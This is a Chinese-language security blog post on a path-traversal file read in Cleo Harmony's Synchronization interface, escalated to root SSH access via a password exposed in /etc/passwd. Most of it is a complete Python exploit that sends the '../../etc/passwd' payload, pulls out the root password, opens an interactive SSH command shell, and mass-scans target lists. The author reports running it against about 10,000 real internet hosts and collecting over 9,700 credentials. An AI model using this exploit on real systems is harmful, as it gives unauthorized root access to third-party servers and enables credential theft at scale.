CleoHarmony任意文件读取到SSH弱口令

CleoHarmony任意文件读取到SSH弱口令

三月 18, 2025

Cleo Harmony任意文件读取到SSH弱口令

逛最新的漏洞发布发现一个任意文件读取:Cleo Harmony接口Synchronization存在任意文件读取漏洞

原漏洞详情

任意文件读取复现

习惯性读了一下/etc/passwd

发现这passwd文件有点不对劲,和常规的passwd文件有很大的区别,以下为AI对常规passwd文件说明

一、文件概述

/etc/passwd
是Linux和类Unix系统中存储用户账户信息的核心文本文件,所有用户均可读取(权限通常为644)。每行对应一个用户账户,由7个冒号分隔的字段组成,格式为: username:password:UID:GID:GECOS:home_directory:shell

二、字段详解

  1. 用户名(Username)
  • 用户登录时使用的唯一标识符,区分大小写且不可重复。
  • 示例:root、jsmith。
  1. 密码占位符(Password)
  • 早期存储加密密码,现代系统已改用x或*表示密码信息迁移至/etc/shadow文件。
  • 特殊值:*:禁用密码登录(如系统服务账户)!:锁定账户
  1. 用户ID(UID)
  • 唯一数字标识用户,系统通过UID识别用户而非用户名。
  • 分类: 0:超级用户(root) 1–999:系统保留账户(如bin、daemon) 1000+:普通用户
  1. 组ID(GID)
  • 用户所属的主组ID,对应/etc/group中的组定义。
  • 注意:用户可属于多个附加组(在/etc/group中定义)。
  1. GECOS字段
  • 注释字段,存储用户全名、联系方式等附加信息,格式为逗号分隔。
  • 示例:Joe Smith,Room 1007,email@example.com
  1. 主目录(Home Directory)
  • 用户登录后的默认工作目录,如/home/jsmith。
  • root用户例外:主目录通常为/root。
  1. 登录Shell
  • 用户登录时启动的默认Shell程序路径。
  • 特殊值: /sbin/nologin:禁止交互式登录(常用于系统服务账户) /bin/bash、/bin/zsh:常见Shell类型

三、文件功能与安全性

核心作用:

  • 用户认证:与/etc/shadow配合完成登录验证。
  • 进程管理:通过UID/GID控制进程权限。
  • 用户信息维护:记录账户基础属性。

安全机制:

  • 密码分离:敏感密码哈希存储于/etc/shadow(仅root可读写),避免全局可读风险。
  • 权限控制:文件默认权限为644,禁止普通用户直接修改。

管理规范:

  • 修改工具:推荐使用vipw、useradd、usermod等命令,避免直接编辑导致格式错误。
  • 审计要求:定期检查异常账户(如UID=0的非root用户)。

四、示例解析

以典型条目为例: root:x:0:0:root:/root:/bin/bash

  • 用户名:root
  • 密码:x(实际密码在/etc/shadow)
  • UID/GID:0(超级用户)
  • GECOS:root
  • 主目录:/root
  • Shell:/bin/bash

五、相关文件与命令

文件/命令 作用描述
/etc/shadow 存储加密密码及密码策略(如过期时间)
/etc/group 定义用户组及其成员
useradd/usermod 创建或修改用户账户(自动同步/etc/passwd)
chsh 修改用户登录Shell

六、安全建议

  • 禁用未使用账户:将Shell设置为/sbin/nologin。
  • 监控文件完整性:使用tripwire等工具检测未授权修改。
  • 最小化权限:避免普通用户拥有高UID(如接近0的值)。
    如需更深入的权限管理或密码策略配置,可参考/etc/shadow文件解析。

总的来说/etc/passwd文件第一个冒号之后应该存储的是:加密密码,现代系统已改用*或x

常规的/etc/passwd应该是这样的:root:x:0:0:root:/root:/bin/bash
这里的/etc/passwd却是这样的:root:wW0sffoqsk.EM:0:0:root:/root:/usr/bin/zsh

结合/etc/shadow分析:

  • 常规的/etc/shadow形式:root:$6$cvyv26HX$vu7GVM…:19887:0:99999:7:::
  • shadow第一个冒号后存储的是:$加密方式,$用户的加密密码,以及$加密后的字符串

这里发现与常规passwd不符,直觉告诉我可能是明文存储的密码,话不多说直接上SSH验证

一发入魂

简单执行一下命令,顺手弹个shell


微步,FOFA搜一波资产,连续复现多个文件读取发现passwd文件内容都一样,应该是通用的密码


资产数量还挺多的,直接写个EXP

附两张EXP运行效果,我这里只跑了10000个资产就出了9700多个弱口令,说明弱口令资产还是挺多的



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
"""
-*- coding: utf-8 -*-
@Project : Cleo Harmony's Synchronization interface has an arbitrary file read vulnerability
@Author : wodelilian
@Date : 2025/3/17 18:19
Software : PyCharm
version : Python 3.10
@File : Cleo_readfile.py
"""
import re
import requests
import argparse
import paramiko
from concurrent.futures import ThreadPoolExecutor
import urllib3


urlpath = 'Synchronization'
payload = 'l=Ab1234-RQ0258;n=VLTrader;v=7.2.1;a=1337;po=1337;s=True;b=False;pp=1337;path=../../etc/passwd'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
'Retrieve': 'l=Ab1234-RQ0258;n=VLTrader;v=7.2.1;a=1337;po=1337;s=True;b=False;pp=1337;path=../../etc/passwd'
}
urllib3.disable_warnings() # Block alarms


def getip(url):
"""
Retrieve the IP address from the URL
:param url: Link Address
:return: IP Address
"""
pattern = r'\d+\.\d+\.\d+\.\d+'
match = re.findall(pattern, url)
IP = str(match).replace("'","")
IP = IP.replace('[','')
IP = IP.replace(']','')
return IP


def checktarget(pattern, url):
"""
:param pattern: Leakage scanning mode: alone/list
:param url: target URL
:return:
"""
if str(pattern) == 'alone':
if str(url[-1]) != "/":
url = url + "/" + urlpath
else:
pass
try:
response = requests.get(url=url, headers=headers, verify=False, timeout=20)
state = response.status_code
if state == 200:
print('\033[91mResponse successful, there may be a vulnerability in the target address, try to obtain more configuration file information\n')
responseinfo = re.findall(r'root', response.text)
passwd = response.text.split(":")[1]
user = response.text.split(":")[0]
if len(responseinfo) != 0:
f = open('etcpasswd.txt', 'w')
f.write(response.text)
f.close()
print("\033[32mThe data has been written to etcpassd.txt in the current path. Please check carefully")
else:
print("\033[32mThe current IP execution failed, the vulnerability may not exist!")
try:
hostname = getip(url)
if hostname != "":
SSHclient(hostname, passwd)
else:
print("\033[91mFailed to extract IP information")
except Exception as e:
print(e)
print('\033[91mFailed to establish interactive command shell')
except Exception as e:
print(e)
print('\033[32mThe current IP execution failed, the vulnerability may not exist!')
else:
list = openfile(url)
with ThreadPoolExecutor(max_workers=10) as executor:
executor.map(batch, list)


def SSHclient(hostname, password):
"""
Establishing a SSH connection
:param hostname: Attack IP
:param password: Attack Password
:return: NULL
"""
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=hostname, port=22, username='root', password=password, timeout=20)
try:
while True:
command = input("\033[32mPlease enter the command: ")
if command != "exit":
stdin, stdout, stderr = ssh.exec_command(command)
output = stdout.read().decode()
error = stderr.read().decode()
print("\033[32mResults of execution:", output)
if error:
print("\033[91mError message:", error)
else:
exit()
except paramiko.AuthenticationException:
print("\033[91mAuthentication failed: username or password incorrect")
except paramiko.SSHException as e:
print(f"\033[91mSSH connection exception:{str(e)}")
finally:
ssh.close()


def batch(url):
"""
Batch testing
:param url: Attack URL List
:return: result
"""
try:
if str(url[-1]) != "/":
url = url + "/" + urlpath
else:
pass
f = open('scanresults.txt', 'a')
response = requests.get(url=url, headers=headers, verify=False, timeout=20)
state = response.status_code
passwd = response.text.split(":")[1]
user = response.text.split(":")[0]
html = re.findall(r'html', response.text)
if state == 200:
responseinfo = re.findall(passwd, response.text)
if len(responseinfo) != 0 :
if len(html) == 0:
print('\033[91mThe current URL may have vulnerabilities, please verify manually:' + url)
result = ('The current URL may have vulnerabilities, please verify manually:' + url + ' uxername:' + user + ' password:' + passwd + '\n')
f.write(result)
else:
print("\033[32mThere is no vulnerability in the current URL,PASS")
else:
print("\033[32mThere is no vulnerability in the current URL,PASS")
else:
print("\033[32mThere is no vulnerability in the current URL,PASS")
f.close()
except Exception as e:
if "timeout" in str(e):
print("\033[91m" + url + " timeout")
else:
print("\033[91mProgram exception" + str(e))


def openfile(filepath):
"""
:param filepath: Enter the target URL file path
:return: Return the URL in the file
"""
urllist = []
with open(filepath) as f:
for url in f.readlines():
url = url.replace("\n", "")
if url != "":
urllist.append(url)
return urllist


if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='python3 Cleo_readfile.py -r [Pattern(alone list)] -u [IP Address] ',
epilog='python3 -r alone -u http://127.0.0.1:80 or python3 -r list -u filename')
parser.add_argument('-r', '--run', help='Pattern(alone list)')
parser.add_argument('-u', '--url', help='Destination IP address or IP filepath')
args = parser.parse_args()
pattern = args.run
url = args.url
print(
f"\033[91mAuthor: Wodelilian\n"
)
checktarget(pattern, url)

总结

运气好